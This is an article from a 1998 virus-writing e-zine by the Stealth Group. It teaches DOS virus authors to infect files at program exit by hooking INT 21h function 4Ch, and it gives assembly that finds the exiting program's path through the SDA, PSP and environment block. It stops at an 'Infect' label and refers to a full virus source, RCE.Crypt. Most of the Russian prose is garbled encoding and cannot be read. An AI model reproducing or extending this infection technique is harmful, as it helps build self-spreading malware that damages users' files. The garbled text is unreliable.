
                        
       Virus Magazine   Box 176, Kiev 210, Ukraine      IV   1998
            
                            
                                           
                                 
           
          (C) Copyright, 1994-98, by STEALTH group WorldWide, unLtd.

    H   H HH  (fn.4Ch int 21h)

     設⢮ ᮢ ࠦ 䠩   ᪥   믮-
.   䠩  ࠦ   ⮫쪮   ᪥  
믮,    襭  믮 ணࠬ.  ᬮਬ
 ᯮᮡ (墠뢠 ah=4Ch int 21h).
      ଠ  ௭     "⥫
 ⥬ 㭪 MS-DOS".
     ⠪, 㯨. 砫 - .
     " ⭮,  㭪 DOS 4Ch ᥣ  뢠    
ணࠬ, ⮡      믮  । ࠢ
⥬ (⭮ -    COMMAND.COM).  
㤠 DOS ,   ணࠬ () ᫥ -
  㤠  । ࠢ ?   ଠ ࠭
 PSP 믮塞 ணࠬ.
      ᫮  ᬥ饭 16h  砫 PSP ᠭ  䨪
(.. ᥣ  PSP) த⥫᪮ ,   ᫮-
 祩  ᬥ饭 0Ah -     .  
   ६   ⥪  SDA  ᫮  ᬥ饭 10h
࠭ 䨪 ⥪饣 .  ᫨    -
  ணࠬ,  ⥪騬  COMMAND.COM   ID
ᠭ   SDA.  ᪥    ணࠬ DOS -
뢠  SDA  ID,   PSP 饭 ணࠬ - ID த⥫-
᪮      , 祬  ᯥ稢 -
 襭 饭 ணࠬ    ⥬."
     ..,  ࠦ  室 :

     1)   SDA

     2)  ᥣ  PSP ⥪饩 ணࠬ

     3)  ᥣ  㦥 ணࠬ (PSP:2ch)

     4) ⢨   ணࠬ  㦥

     ଠ 㦥 ( ᫠    ):

     'variable1=value1',0
     'variable2=value2,'0
     .........
     'variableN=valueN',0,0,1,0
     'Fullpath+Name',0

     5) ࠧ 

     ਢ ࠣ ணࠬ, ॠ騩  蠣 :

 . . . . .
; 稬  SDA     PSP
        mov ax,5d06h
        int 21h
        mov ax,ds:[si+10h]
        mov es,ax   ; ES = PSP
; 稬  㦥
        mov ax,es:[2ch]
        mov ds,ax
        xor si,si  ; DS:SI = Environment
; 饬  ணࠬ
Find:
        cmp byte ptr ds:[si],0
        je Cont1
RepFind:
        inc si
        jmp Find
Cont1:
        cmp byte ptr ds:[si+1],0
        jne RepFind
        cmp byte ptr ds:[si+2],1
        jne RepFind
        cmp byte ptr ds:[si+3],0
        jne RepFind
        add si,4
        mov dx,si
Infect:
;  ! ⥯ ࠦ
 . . . . .

      RCE.Crypt , ᯮ騩  ⮤ ࠦ,  
 ᬮ   SOURCES (IV_12\VIRII\4CH\4CH.ASM).
     ਢ  ४樨  襭,  ࠢ
  Stealth Group.

                                                    HellRaiser 1997